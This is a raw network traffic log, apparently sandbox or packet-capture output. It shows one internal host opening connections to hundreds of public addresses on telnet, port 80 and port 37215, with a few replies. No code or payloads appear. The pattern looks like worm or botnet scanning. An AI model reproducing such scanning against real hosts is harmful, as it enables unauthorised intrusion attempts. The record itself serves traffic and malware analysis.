Jan 30, 2025 10:43:04.112803936 CET	23	63367	84.62.31.112	192.168.2.14
Jan 30, 2025 10:43:04.112829924 CET	23	63367	167.151.171.56	192.168.2.14
Jan 30, 2025 10:43:04.112838984 CET	23	63367	139.128.161.232	192.168.2.14
Jan 30, 2025 10:43:04.112842083 CET	63367	23	192.168.2.14	84.62.31.112
Jan 30, 2025 10:43:04.112849951 CET	23	63367	169.176.251.238	192.168.2.14
Jan 30, 2025 10:43:04.112859964 CET	23	63367	12.43.15.39	192.168.2.14
Jan 30, 2025 10:43:04.112869978 CET	23	63367	97.32.67.68	192.168.2.14
Jan 30, 2025 10:43:04.112870932 CET	63367	23	192.168.2.14	139.128.161.232
Jan 30, 2025 10:43:04.112874031 CET	23	63367	4.155.245.166	192.168.2.14
Jan 30, 2025 10:43:04.112875938 CET	63367	23	192.168.2.14	167.151.171.56
Jan 30, 2025 10:43:04.112879992 CET	23	63367	182.188.193.249	192.168.2.14
Jan 30, 2025 10:43:04.112891912 CET	63367	23	192.168.2.14	169.176.251.238
Jan 30, 2025 10:43:04.112894058 CET	63367	23	192.168.2.14	12.43.15.39
Jan 30, 2025 10:43:04.112906933 CET	63367	23	192.168.2.14	182.188.193.249
Jan 30, 2025 10:43:04.112906933 CET	63367	23	192.168.2.14	4.155.245.166
Jan 30, 2025 10:43:04.112912893 CET	63367	23	192.168.2.14	97.32.67.68
Jan 30, 2025 10:43:04.112915993 CET	23	63367	196.112.137.89	192.168.2.14
Jan 30, 2025 10:43:04.112926006 CET	23	63367	211.216.211.79	192.168.2.14
Jan 30, 2025 10:43:04.112936020 CET	23	63367	183.45.104.111	192.168.2.14
Jan 30, 2025 10:43:04.112946033 CET	23	63367	171.155.43.199	192.168.2.14
Jan 30, 2025 10:43:04.112955093 CET	23	63367	132.7.100.38	192.168.2.14
Jan 30, 2025 10:43:04.112961054 CET	63367	23	192.168.2.14	196.112.137.89
Jan 30, 2025 10:43:04.112962961 CET	63367	23	192.168.2.14	211.216.211.79
Jan 30, 2025 10:43:04.112965107 CET	23	63367	159.18.124.138	192.168.2.14
Jan 30, 2025 10:43:04.112965107 CET	63367	23	192.168.2.14	183.45.104.111
Jan 30, 2025 10:43:04.112977982 CET	63367	23	192.168.2.14	171.155.43.199
Jan 30, 2025 10:43:04.112982035 CET	23	63367	13.152.80.101	192.168.2.14
Jan 30, 2025 10:43:04.112987995 CET	63367	23	192.168.2.14	132.7.100.38
Jan 30, 2025 10:43:04.112997055 CET	23	63367	52.59.117.151	192.168.2.14
Jan 30, 2025 10:43:04.113012075 CET	23	63367	85.7.63.20	192.168.2.14
Jan 30, 2025 10:43:04.113013029 CET	63367	23	192.168.2.14	13.152.80.101
Jan 30, 2025 10:43:04.113018990 CET	63367	23	192.168.2.14	159.18.124.138
Jan 30, 2025 10:43:04.113029003 CET	23	63367	116.136.196.38	192.168.2.14
Jan 30, 2025 10:43:04.113034010 CET	63367	23	192.168.2.14	52.59.117.151
Jan 30, 2025 10:43:04.113039017 CET	23	63367	184.70.76.112	192.168.2.14
Jan 30, 2025 10:43:04.113044977 CET	63367	23	192.168.2.14	85.7.63.20
Jan 30, 2025 10:43:04.113054037 CET	23	63367	103.123.201.180	192.168.2.14
Jan 30, 2025 10:43:04.113064051 CET	23	63367	115.215.36.30	192.168.2.14
Jan 30, 2025 10:43:04.113073111 CET	23	63367	41.250.167.7	192.168.2.14
Jan 30, 2025 10:43:04.113073111 CET	63367	23	192.168.2.14	116.136.196.38
Jan 30, 2025 10:43:04.113080978 CET	63367	23	192.168.2.14	184.70.76.112
Jan 30, 2025 10:43:04.113085032 CET	23	63367	133.112.145.97	192.168.2.14
Jan 30, 2025 10:43:04.113086939 CET	63367	23	192.168.2.14	103.123.201.180
Jan 30, 2025 10:43:04.113095045 CET	23	63367	43.121.39.132	192.168.2.14
Jan 30, 2025 10:43:04.113101006 CET	63367	23	192.168.2.14	115.215.36.30
Jan 30, 2025 10:43:04.113105059 CET	63367	23	192.168.2.14	41.250.167.7
Jan 30, 2025 10:43:04.113106012 CET	23	63367	70.212.134.49	192.168.2.14
Jan 30, 2025 10:43:04.113111973 CET	63367	23	192.168.2.14	133.112.145.97
Jan 30, 2025 10:43:04.113118887 CET	23	63367	192.182.146.202	192.168.2.14
Jan 30, 2025 10:43:04.113131046 CET	63367	23	192.168.2.14	43.121.39.132
Jan 30, 2025 10:43:04.113146067 CET	63367	23	192.168.2.14	70.212.134.49
Jan 30, 2025 10:43:04.113166094 CET	63367	23	192.168.2.14	192.182.146.202
Jan 30, 2025 10:43:04.139200926 CET	34998	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:04.139206886 CET	47634	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:04.139206886 CET	44396	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:04.139209032 CET	49304	37215	192.168.2.14	156.195.165.210
Jan 30, 2025 10:43:04.139206886 CET	36912	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:04.139225006 CET	51678	80	192.168.2.14	5.118.233.252
Jan 30, 2025 10:43:04.139225006 CET	52956	80	192.168.2.14	136.136.213.67
Jan 30, 2025 10:43:04.139230013 CET	58488	37215	192.168.2.14	41.139.22.90
Jan 30, 2025 10:43:04.139231920 CET	39580	37215	192.168.2.14	41.93.210.48
Jan 30, 2025 10:43:04.139231920 CET	54750	80	192.168.2.14	149.7.19.65
Jan 30, 2025 10:43:04.139231920 CET	36574	37215	192.168.2.14	156.34.123.55
Jan 30, 2025 10:43:04.139231920 CET	57124	37215	192.168.2.14	197.23.77.148
Jan 30, 2025 10:43:04.139231920 CET	37006	37215	192.168.2.14	41.189.133.67
Jan 30, 2025 10:43:04.139234066 CET	39668	37215	192.168.2.14	41.124.116.88
Jan 30, 2025 10:43:04.139240026 CET	52392	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:04.139250994 CET	38474	37215	192.168.2.14	197.251.13.231
Jan 30, 2025 10:43:04.139250994 CET	33106	37215	192.168.2.14	197.244.70.58
Jan 30, 2025 10:43:04.139250994 CET	39394	37215	192.168.2.14	156.190.165.129
Jan 30, 2025 10:43:04.139266014 CET	44890	37215	192.168.2.14	156.209.197.148
Jan 30, 2025 10:43:04.139266014 CET	39352	37215	192.168.2.14	41.47.146.109
Jan 30, 2025 10:43:04.139266968 CET	40474	37215	192.168.2.14	41.77.182.85
Jan 30, 2025 10:43:04.139270067 CET	57930	37215	192.168.2.14	156.250.179.179
Jan 30, 2025 10:43:04.139270067 CET	47632	23	192.168.2.14	65.230.203.210
Jan 30, 2025 10:43:04.139276981 CET	45868	37215	192.168.2.14	156.149.194.238
Jan 30, 2025 10:43:04.139276981 CET	42304	37215	192.168.2.14	41.146.171.72
Jan 30, 2025 10:43:04.139276981 CET	41768	37215	192.168.2.14	197.105.118.99
Jan 30, 2025 10:43:04.139276981 CET	35370	23	192.168.2.14	83.94.101.213
Jan 30, 2025 10:43:04.139281034 CET	46020	37215	192.168.2.14	41.177.62.97
Jan 30, 2025 10:43:04.139281034 CET	57468	37215	192.168.2.14	197.34.230.84
Jan 30, 2025 10:43:04.139298916 CET	36520	23	192.168.2.14	114.107.59.138
Jan 30, 2025 10:43:04.139298916 CET	33712	23	192.168.2.14	139.125.75.115
Jan 30, 2025 10:43:04.139298916 CET	38960	23	192.168.2.14	189.136.23.227
Jan 30, 2025 10:43:04.139300108 CET	37130	23	192.168.2.14	148.138.143.58
Jan 30, 2025 10:43:04.139303923 CET	34502	37215	192.168.2.14	156.51.86.220
Jan 30, 2025 10:43:04.139318943 CET	51474	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:04.139318943 CET	51482	23	192.168.2.14	175.157.72.124
Jan 30, 2025 10:43:04.144062996 CET	80	34998	202.122.36.255	192.168.2.14
Jan 30, 2025 10:43:04.144074917 CET	37215	44396	41.40.143.60	192.168.2.14
Jan 30, 2025 10:43:04.144092083 CET	37215	47634	41.47.143.151	192.168.2.14
Jan 30, 2025 10:43:04.144104004 CET	37215	51474	41.51.110.42	192.168.2.14
Jan 30, 2025 10:43:04.144124031 CET	34998	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:04.144134998 CET	44396	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:04.144144058 CET	47634	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:04.144150019 CET	51474	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:04.144218922 CET	60295	37215	192.168.2.14	41.166.39.146
Jan 30, 2025 10:43:04.144220114 CET	60295	37215	192.168.2.14	197.49.188.3
Jan 30, 2025 10:43:04.144224882 CET	60295	37215	192.168.2.14	197.243.131.152
Jan 30, 2025 10:43:04.144226074 CET	60295	37215	192.168.2.14	197.228.184.81
Jan 30, 2025 10:43:04.144241095 CET	60295	37215	192.168.2.14	41.62.109.235
Jan 30, 2025 10:43:04.144243002 CET	60295	37215	192.168.2.14	197.191.189.155
Jan 30, 2025 10:43:04.144248009 CET	60295	37215	192.168.2.14	41.8.143.95
Jan 30, 2025 10:43:04.144258022 CET	60295	37215	192.168.2.14	41.69.41.254
Jan 30, 2025 10:43:04.144260883 CET	60295	37215	192.168.2.14	156.41.21.208
Jan 30, 2025 10:43:04.144263029 CET	60295	37215	192.168.2.14	197.40.91.203
Jan 30, 2025 10:43:04.144273043 CET	60295	37215	192.168.2.14	156.66.152.154
Jan 30, 2025 10:43:04.144273043 CET	60295	37215	192.168.2.14	41.115.160.40
Jan 30, 2025 10:43:04.144273043 CET	60295	37215	192.168.2.14	156.53.40.107
Jan 30, 2025 10:43:04.144289970 CET	60295	37215	192.168.2.14	197.199.231.188
Jan 30, 2025 10:43:04.144294024 CET	60295	37215	192.168.2.14	41.254.121.193
Jan 30, 2025 10:43:04.144294977 CET	60295	37215	192.168.2.14	156.163.244.21
Jan 30, 2025 10:43:04.144294977 CET	60295	37215	192.168.2.14	41.113.77.142
Jan 30, 2025 10:43:04.144296885 CET	60295	37215	192.168.2.14	41.34.86.5
Jan 30, 2025 10:43:04.144296885 CET	60295	37215	192.168.2.14	41.160.217.144
Jan 30, 2025 10:43:04.144300938 CET	60295	37215	192.168.2.14	156.13.192.247
Jan 30, 2025 10:43:04.144306898 CET	60295	37215	192.168.2.14	156.107.222.202
Jan 30, 2025 10:43:04.144308090 CET	60295	37215	192.168.2.14	197.123.67.147
Jan 30, 2025 10:43:04.144310951 CET	60295	37215	192.168.2.14	156.116.238.6
Jan 30, 2025 10:43:04.144325018 CET	60295	37215	192.168.2.14	197.26.80.165
Jan 30, 2025 10:43:04.144325018 CET	60295	37215	192.168.2.14	197.254.222.175
Jan 30, 2025 10:43:04.144326925 CET	60295	37215	192.168.2.14	41.229.148.77
Jan 30, 2025 10:43:04.144328117 CET	60295	37215	192.168.2.14	41.113.106.237
Jan 30, 2025 10:43:04.144329071 CET	60295	37215	192.168.2.14	197.14.200.193
Jan 30, 2025 10:43:04.144329071 CET	60295	37215	192.168.2.14	156.16.113.176
Jan 30, 2025 10:43:04.144330025 CET	60295	37215	192.168.2.14	41.173.153.175
Jan 30, 2025 10:43:04.144329071 CET	60295	37215	192.168.2.14	197.140.180.20
Jan 30, 2025 10:43:04.144330978 CET	60295	37215	192.168.2.14	41.174.96.231
Jan 30, 2025 10:43:04.144330025 CET	60295	37215	192.168.2.14	41.205.245.35
Jan 30, 2025 10:43:04.144330025 CET	60295	37215	192.168.2.14	156.136.84.244
Jan 30, 2025 10:43:04.144330025 CET	60295	37215	192.168.2.14	41.247.46.251
Jan 30, 2025 10:43:04.144330025 CET	60295	37215	192.168.2.14	156.82.114.159
Jan 30, 2025 10:43:04.144337893 CET	60295	37215	192.168.2.14	41.31.48.124
Jan 30, 2025 10:43:04.144337893 CET	60295	37215	192.168.2.14	156.18.235.117
Jan 30, 2025 10:43:04.144340038 CET	60295	37215	192.168.2.14	156.156.5.25
Jan 30, 2025 10:43:04.144340038 CET	60295	37215	192.168.2.14	41.108.51.115
Jan 30, 2025 10:43:04.144340992 CET	60295	37215	192.168.2.14	41.114.240.180
Jan 30, 2025 10:43:04.144342899 CET	60295	37215	192.168.2.14	41.239.128.219
Jan 30, 2025 10:43:04.144342899 CET	60295	37215	192.168.2.14	156.169.129.255
Jan 30, 2025 10:43:04.144349098 CET	60295	37215	192.168.2.14	41.244.104.33
Jan 30, 2025 10:43:04.144350052 CET	60295	37215	192.168.2.14	41.42.99.153
Jan 30, 2025 10:43:04.144350052 CET	60295	37215	192.168.2.14	41.123.122.73
Jan 30, 2025 10:43:04.144351006 CET	60295	37215	192.168.2.14	156.247.250.90
Jan 30, 2025 10:43:04.144351959 CET	60295	37215	192.168.2.14	41.242.8.132
Jan 30, 2025 10:43:04.144354105 CET	60295	37215	192.168.2.14	156.28.1.236
Jan 30, 2025 10:43:04.144364119 CET	60295	37215	192.168.2.14	41.151.43.19
Jan 30, 2025 10:43:04.144365072 CET	60295	37215	192.168.2.14	41.223.0.26
Jan 30, 2025 10:43:04.144365072 CET	60295	37215	192.168.2.14	41.8.224.188
Jan 30, 2025 10:43:04.144366026 CET	60295	37215	192.168.2.14	41.193.133.155
Jan 30, 2025 10:43:04.144365072 CET	60295	37215	192.168.2.14	156.70.28.78
Jan 30, 2025 10:43:04.144365072 CET	60295	37215	192.168.2.14	197.13.92.156
Jan 30, 2025 10:43:04.144365072 CET	60295	37215	192.168.2.14	41.53.63.136
Jan 30, 2025 10:43:04.144365072 CET	60295	37215	192.168.2.14	41.110.206.195
Jan 30, 2025 10:43:04.144371986 CET	60295	37215	192.168.2.14	41.102.90.73
Jan 30, 2025 10:43:04.144386053 CET	60295	37215	192.168.2.14	41.136.16.163
Jan 30, 2025 10:43:04.144387007 CET	60295	37215	192.168.2.14	197.165.129.239
Jan 30, 2025 10:43:04.144401073 CET	60295	37215	192.168.2.14	41.157.57.158
Jan 30, 2025 10:43:04.144404888 CET	60295	37215	192.168.2.14	41.234.30.77
Jan 30, 2025 10:43:04.144413948 CET	60295	37215	192.168.2.14	41.7.158.174
Jan 30, 2025 10:43:04.144413948 CET	60295	37215	192.168.2.14	41.18.222.2
Jan 30, 2025 10:43:04.144423008 CET	60295	37215	192.168.2.14	197.130.205.96
Jan 30, 2025 10:43:04.144428968 CET	60295	37215	192.168.2.14	197.50.255.230
Jan 30, 2025 10:43:04.144438982 CET	60295	37215	192.168.2.14	41.62.21.101
Jan 30, 2025 10:43:04.144443035 CET	60295	37215	192.168.2.14	41.218.0.213
Jan 30, 2025 10:43:04.144459009 CET	60295	37215	192.168.2.14	197.86.148.145
Jan 30, 2025 10:43:04.144459009 CET	60295	37215	192.168.2.14	156.76.35.190
Jan 30, 2025 10:43:04.144464016 CET	60295	37215	192.168.2.14	156.238.81.84
Jan 30, 2025 10:43:04.144504070 CET	60295	37215	192.168.2.14	156.202.110.96
Jan 30, 2025 10:43:04.144505978 CET	60295	37215	192.168.2.14	156.40.33.178
Jan 30, 2025 10:43:04.144505978 CET	60295	37215	192.168.2.14	197.213.88.101
Jan 30, 2025 10:43:04.144506931 CET	60295	37215	192.168.2.14	156.2.176.170
Jan 30, 2025 10:43:04.144505978 CET	60295	37215	192.168.2.14	156.202.244.255
Jan 30, 2025 10:43:04.144506931 CET	60295	37215	192.168.2.14	197.191.68.177
Jan 30, 2025 10:43:04.144515038 CET	60295	37215	192.168.2.14	41.218.236.50
Jan 30, 2025 10:43:04.144517899 CET	60295	37215	192.168.2.14	197.29.158.0
Jan 30, 2025 10:43:04.144517899 CET	60295	37215	192.168.2.14	156.29.195.1
Jan 30, 2025 10:43:04.144519091 CET	60295	37215	192.168.2.14	197.37.42.180
Jan 30, 2025 10:43:04.144517899 CET	60295	37215	192.168.2.14	197.75.16.229
Jan 30, 2025 10:43:04.144519091 CET	60295	37215	192.168.2.14	41.112.68.255
Jan 30, 2025 10:43:04.144517899 CET	60295	37215	192.168.2.14	41.242.16.64
Jan 30, 2025 10:43:04.144520998 CET	60295	37215	192.168.2.14	156.65.117.28
Jan 30, 2025 10:43:04.144520044 CET	60295	37215	192.168.2.14	41.76.255.127
Jan 30, 2025 10:43:04.144519091 CET	60295	37215	192.168.2.14	156.30.21.231
Jan 30, 2025 10:43:04.144520998 CET	60295	37215	192.168.2.14	197.200.44.170
Jan 30, 2025 10:43:04.144525051 CET	60295	37215	192.168.2.14	197.125.84.254
Jan 30, 2025 10:43:04.144520998 CET	60295	37215	192.168.2.14	41.228.4.219
Jan 30, 2025 10:43:04.144531012 CET	60295	37215	192.168.2.14	41.91.47.187
Jan 30, 2025 10:43:04.144520998 CET	60295	37215	192.168.2.14	197.177.134.57
Jan 30, 2025 10:43:04.144532919 CET	60295	37215	192.168.2.14	41.232.59.41
Jan 30, 2025 10:43:04.144532919 CET	60295	37215	192.168.2.14	41.92.137.253
Jan 30, 2025 10:43:04.144534111 CET	60295	37215	192.168.2.14	197.113.247.202
Jan 30, 2025 10:43:04.144540071 CET	60295	37215	192.168.2.14	197.199.219.34
Jan 30, 2025 10:43:04.144547939 CET	60295	37215	192.168.2.14	156.210.212.191
Jan 30, 2025 10:43:04.144558907 CET	60295	37215	192.168.2.14	197.254.113.27
Jan 30, 2025 10:43:04.144562006 CET	60295	37215	192.168.2.14	41.191.188.107
Jan 30, 2025 10:43:04.144562006 CET	60295	37215	192.168.2.14	41.28.101.128
Jan 30, 2025 10:43:04.144570112 CET	60295	37215	192.168.2.14	41.179.82.2
Jan 30, 2025 10:43:04.144572973 CET	60295	37215	192.168.2.14	41.93.152.60
Jan 30, 2025 10:43:04.144578934 CET	60295	37215	192.168.2.14	197.113.136.13
Jan 30, 2025 10:43:04.144589901 CET	60295	37215	192.168.2.14	156.203.10.196
Jan 30, 2025 10:43:04.144592047 CET	60295	37215	192.168.2.14	41.110.205.65
Jan 30, 2025 10:43:04.144594908 CET	60295	37215	192.168.2.14	41.177.127.81
Jan 30, 2025 10:43:04.144598007 CET	60295	37215	192.168.2.14	197.187.150.164
Jan 30, 2025 10:43:04.144603968 CET	60295	37215	192.168.2.14	156.31.141.61
Jan 30, 2025 10:43:04.144607067 CET	60295	37215	192.168.2.14	197.47.27.185
Jan 30, 2025 10:43:04.144618034 CET	60295	37215	192.168.2.14	41.205.82.218
Jan 30, 2025 10:43:04.144618034 CET	60295	37215	192.168.2.14	156.242.166.56
Jan 30, 2025 10:43:04.144629955 CET	60295	37215	192.168.2.14	197.201.15.90
Jan 30, 2025 10:43:04.144637108 CET	60295	37215	192.168.2.14	41.91.170.194
Jan 30, 2025 10:43:04.144639969 CET	60295	37215	192.168.2.14	197.75.15.9
Jan 30, 2025 10:43:04.144644022 CET	60295	37215	192.168.2.14	156.230.120.24
Jan 30, 2025 10:43:04.144644022 CET	60295	37215	192.168.2.14	156.138.118.121
Jan 30, 2025 10:43:04.144649982 CET	60295	37215	192.168.2.14	156.249.215.216
Jan 30, 2025 10:43:04.144654036 CET	60295	37215	192.168.2.14	41.23.43.152
Jan 30, 2025 10:43:04.144658089 CET	60295	37215	192.168.2.14	41.30.110.202
Jan 30, 2025 10:43:04.144659042 CET	60295	37215	192.168.2.14	41.244.243.26
Jan 30, 2025 10:43:04.144661903 CET	60295	37215	192.168.2.14	156.39.163.180
Jan 30, 2025 10:43:04.144665956 CET	60295	37215	192.168.2.14	197.13.121.51
Jan 30, 2025 10:43:04.144675016 CET	60295	37215	192.168.2.14	41.213.98.108
Jan 30, 2025 10:43:04.144692898 CET	60295	37215	192.168.2.14	41.252.131.68
Jan 30, 2025 10:43:04.144692898 CET	60295	37215	192.168.2.14	197.153.52.197
Jan 30, 2025 10:43:04.144701004 CET	60295	37215	192.168.2.14	41.4.70.197
Jan 30, 2025 10:43:04.144701004 CET	60295	37215	192.168.2.14	197.13.127.201
Jan 30, 2025 10:43:04.144711018 CET	60295	37215	192.168.2.14	197.102.16.209
Jan 30, 2025 10:43:04.144711018 CET	60295	37215	192.168.2.14	197.34.31.185
Jan 30, 2025 10:43:04.144723892 CET	60295	37215	192.168.2.14	156.64.86.211
Jan 30, 2025 10:43:04.144725084 CET	60295	37215	192.168.2.14	197.234.105.7
Jan 30, 2025 10:43:04.144723892 CET	60295	37215	192.168.2.14	197.77.41.242
Jan 30, 2025 10:43:04.144735098 CET	60295	37215	192.168.2.14	41.47.68.52
Jan 30, 2025 10:43:04.144741058 CET	60295	37215	192.168.2.14	156.131.62.242
Jan 30, 2025 10:43:04.144773006 CET	60295	37215	192.168.2.14	41.119.35.208
Jan 30, 2025 10:43:04.144773960 CET	60295	37215	192.168.2.14	197.59.147.61
Jan 30, 2025 10:43:04.144773960 CET	60295	37215	192.168.2.14	197.107.169.110
Jan 30, 2025 10:43:04.144774914 CET	60295	37215	192.168.2.14	197.50.196.54
Jan 30, 2025 10:43:04.144776106 CET	60295	37215	192.168.2.14	41.178.87.224
Jan 30, 2025 10:43:04.144774914 CET	60295	37215	192.168.2.14	197.75.190.110
Jan 30, 2025 10:43:04.144777060 CET	60295	37215	192.168.2.14	41.23.3.192
Jan 30, 2025 10:43:04.144774914 CET	60295	37215	192.168.2.14	41.238.39.152
Jan 30, 2025 10:43:04.144776106 CET	60295	37215	192.168.2.14	156.2.20.206
Jan 30, 2025 10:43:04.144782066 CET	60295	37215	192.168.2.14	156.91.31.193
Jan 30, 2025 10:43:04.144782066 CET	60295	37215	192.168.2.14	156.75.45.208
Jan 30, 2025 10:43:04.144782066 CET	60295	37215	192.168.2.14	41.239.193.58
Jan 30, 2025 10:43:04.144788027 CET	60295	37215	192.168.2.14	41.223.22.121
Jan 30, 2025 10:43:04.144788027 CET	60295	37215	192.168.2.14	197.40.51.173
Jan 30, 2025 10:43:04.144788980 CET	60295	37215	192.168.2.14	41.137.219.230
Jan 30, 2025 10:43:04.144788027 CET	60295	37215	192.168.2.14	41.95.167.70
Jan 30, 2025 10:43:04.144790888 CET	60295	37215	192.168.2.14	156.55.195.90
Jan 30, 2025 10:43:04.144788027 CET	60295	37215	192.168.2.14	156.248.164.96
Jan 30, 2025 10:43:04.144788027 CET	60295	37215	192.168.2.14	156.194.189.177
Jan 30, 2025 10:43:04.144788027 CET	60295	37215	192.168.2.14	41.218.106.4
Jan 30, 2025 10:43:04.144798040 CET	60295	37215	192.168.2.14	156.150.216.17
Jan 30, 2025 10:43:04.144808054 CET	60295	37215	192.168.2.14	156.252.138.42
Jan 30, 2025 10:43:04.144813061 CET	60295	37215	192.168.2.14	41.191.1.220
Jan 30, 2025 10:43:04.144815922 CET	60295	37215	192.168.2.14	41.135.30.138
Jan 30, 2025 10:43:04.144823074 CET	60295	37215	192.168.2.14	41.63.228.162
Jan 30, 2025 10:43:04.144830942 CET	60295	37215	192.168.2.14	197.25.114.101
Jan 30, 2025 10:43:04.144845963 CET	60295	37215	192.168.2.14	156.172.153.33
Jan 30, 2025 10:43:04.144845963 CET	60295	37215	192.168.2.14	41.38.207.221
Jan 30, 2025 10:43:04.144845963 CET	60295	37215	192.168.2.14	156.26.34.41
Jan 30, 2025 10:43:04.144853115 CET	60295	37215	192.168.2.14	41.70.228.129
Jan 30, 2025 10:43:04.144856930 CET	60295	37215	192.168.2.14	41.89.5.227
Jan 30, 2025 10:43:04.144864082 CET	60295	37215	192.168.2.14	41.148.45.13
Jan 30, 2025 10:43:04.144876003 CET	60295	37215	192.168.2.14	197.221.231.13
Jan 30, 2025 10:43:04.144885063 CET	60295	37215	192.168.2.14	197.147.205.168
Jan 30, 2025 10:43:04.144886017 CET	60295	37215	192.168.2.14	156.236.64.50
Jan 30, 2025 10:43:04.144885063 CET	60295	37215	192.168.2.14	156.74.220.8
Jan 30, 2025 10:43:04.144893885 CET	60295	37215	192.168.2.14	41.200.140.133
Jan 30, 2025 10:43:04.144901037 CET	60295	37215	192.168.2.14	41.5.164.169
Jan 30, 2025 10:43:04.144911051 CET	60295	37215	192.168.2.14	197.33.118.29
Jan 30, 2025 10:43:04.144922018 CET	60295	37215	192.168.2.14	197.199.151.237
Jan 30, 2025 10:43:04.144928932 CET	60295	37215	192.168.2.14	197.240.233.201
Jan 30, 2025 10:43:04.144927025 CET	60295	37215	192.168.2.14	41.89.130.248
Jan 30, 2025 10:43:04.144937038 CET	60295	37215	192.168.2.14	41.7.146.99
Jan 30, 2025 10:43:04.144937038 CET	60295	37215	192.168.2.14	41.165.159.163
Jan 30, 2025 10:43:04.144937038 CET	60295	37215	192.168.2.14	41.6.129.228
Jan 30, 2025 10:43:04.144942045 CET	60295	37215	192.168.2.14	156.136.249.168
Jan 30, 2025 10:43:04.144944906 CET	60295	37215	192.168.2.14	156.4.96.65
Jan 30, 2025 10:43:04.144944906 CET	60295	37215	192.168.2.14	41.19.82.67
Jan 30, 2025 10:43:04.144946098 CET	60295	37215	192.168.2.14	197.230.231.53
Jan 30, 2025 10:43:04.144948959 CET	60295	37215	192.168.2.14	197.115.106.239
Jan 30, 2025 10:43:04.144953012 CET	60295	37215	192.168.2.14	41.140.253.112
Jan 30, 2025 10:43:04.144962072 CET	60295	37215	192.168.2.14	156.197.18.14
Jan 30, 2025 10:43:04.144969940 CET	60295	37215	192.168.2.14	197.240.3.62
Jan 30, 2025 10:43:04.144978046 CET	60295	37215	192.168.2.14	197.245.32.194
Jan 30, 2025 10:43:04.144988060 CET	60295	37215	192.168.2.14	41.188.118.193
Jan 30, 2025 10:43:04.144993067 CET	60295	37215	192.168.2.14	156.202.255.107
Jan 30, 2025 10:43:04.144996881 CET	60295	37215	192.168.2.14	156.13.80.116
Jan 30, 2025 10:43:04.145004988 CET	60295	37215	192.168.2.14	41.109.242.193
Jan 30, 2025 10:43:04.145008087 CET	60295	37215	192.168.2.14	41.191.32.169
Jan 30, 2025 10:43:04.145014048 CET	60295	37215	192.168.2.14	197.7.102.226
Jan 30, 2025 10:43:04.145025969 CET	60295	37215	192.168.2.14	197.179.138.67
Jan 30, 2025 10:43:04.145026922 CET	60295	37215	192.168.2.14	41.110.220.113
Jan 30, 2025 10:43:04.145031929 CET	60295	37215	192.168.2.14	156.167.117.104
Jan 30, 2025 10:43:04.145040035 CET	60295	37215	192.168.2.14	156.254.108.6
Jan 30, 2025 10:43:04.145050049 CET	60295	37215	192.168.2.14	156.7.164.110
Jan 30, 2025 10:43:04.145060062 CET	60295	37215	192.168.2.14	197.85.218.192
Jan 30, 2025 10:43:04.145062923 CET	60295	37215	192.168.2.14	41.188.14.208
Jan 30, 2025 10:43:04.145062923 CET	60295	37215	192.168.2.14	156.188.46.54
Jan 30, 2025 10:43:04.145073891 CET	60295	37215	192.168.2.14	197.239.197.187
Jan 30, 2025 10:43:04.145080090 CET	60295	37215	192.168.2.14	41.200.138.39
Jan 30, 2025 10:43:04.145080090 CET	60295	37215	192.168.2.14	197.95.142.0
Jan 30, 2025 10:43:04.145090103 CET	60295	37215	192.168.2.14	156.240.11.198
Jan 30, 2025 10:43:04.145095110 CET	60295	37215	192.168.2.14	197.5.133.163
Jan 30, 2025 10:43:04.145097971 CET	60295	37215	192.168.2.14	41.219.54.44
Jan 30, 2025 10:43:04.145107031 CET	60295	37215	192.168.2.14	156.232.6.254
Jan 30, 2025 10:43:04.145116091 CET	60295	37215	192.168.2.14	156.118.59.225
Jan 30, 2025 10:43:04.145126104 CET	60295	37215	192.168.2.14	41.78.254.211
Jan 30, 2025 10:43:04.145129919 CET	60295	37215	192.168.2.14	41.218.140.112
Jan 30, 2025 10:43:04.145136118 CET	60295	37215	192.168.2.14	197.171.48.127
Jan 30, 2025 10:43:04.145142078 CET	60295	37215	192.168.2.14	197.30.237.6
Jan 30, 2025 10:43:04.145148039 CET	60295	37215	192.168.2.14	197.117.140.218
Jan 30, 2025 10:43:04.145152092 CET	60295	37215	192.168.2.14	156.110.173.35
Jan 30, 2025 10:43:04.145160913 CET	60295	37215	192.168.2.14	197.226.110.253
Jan 30, 2025 10:43:04.145172119 CET	60295	37215	192.168.2.14	156.76.252.90
Jan 30, 2025 10:43:04.145174026 CET	60295	37215	192.168.2.14	156.135.73.235
Jan 30, 2025 10:43:04.145178080 CET	60295	37215	192.168.2.14	197.215.139.186
Jan 30, 2025 10:43:04.145179987 CET	60295	37215	192.168.2.14	197.132.102.136
Jan 30, 2025 10:43:04.145198107 CET	60295	37215	192.168.2.14	156.112.137.152
Jan 30, 2025 10:43:04.145200968 CET	60295	37215	192.168.2.14	156.31.129.13
Jan 30, 2025 10:43:04.145200968 CET	60295	37215	192.168.2.14	197.251.133.252
Jan 30, 2025 10:43:04.145210981 CET	60295	37215	192.168.2.14	197.236.70.197
Jan 30, 2025 10:43:04.145266056 CET	60295	37215	192.168.2.14	41.91.108.55
Jan 30, 2025 10:43:04.145266056 CET	60295	37215	192.168.2.14	156.223.181.30
Jan 30, 2025 10:43:04.145266056 CET	60295	37215	192.168.2.14	41.72.196.58
Jan 30, 2025 10:43:04.145267010 CET	60295	37215	192.168.2.14	156.4.136.60
Jan 30, 2025 10:43:04.145267010 CET	60295	37215	192.168.2.14	41.16.119.83
Jan 30, 2025 10:43:04.145267963 CET	60295	37215	192.168.2.14	41.236.139.54
Jan 30, 2025 10:43:04.145267010 CET	60295	37215	192.168.2.14	156.244.196.204
Jan 30, 2025 10:43:04.145267010 CET	60295	37215	192.168.2.14	156.172.181.99
Jan 30, 2025 10:43:04.145276070 CET	60295	37215	192.168.2.14	41.22.39.238
Jan 30, 2025 10:43:04.145277023 CET	60295	37215	192.168.2.14	41.230.245.154
Jan 30, 2025 10:43:04.145277023 CET	60295	37215	192.168.2.14	197.225.23.107
Jan 30, 2025 10:43:04.145282030 CET	60295	37215	192.168.2.14	41.176.0.82
Jan 30, 2025 10:43:04.145282984 CET	60295	37215	192.168.2.14	197.72.34.65
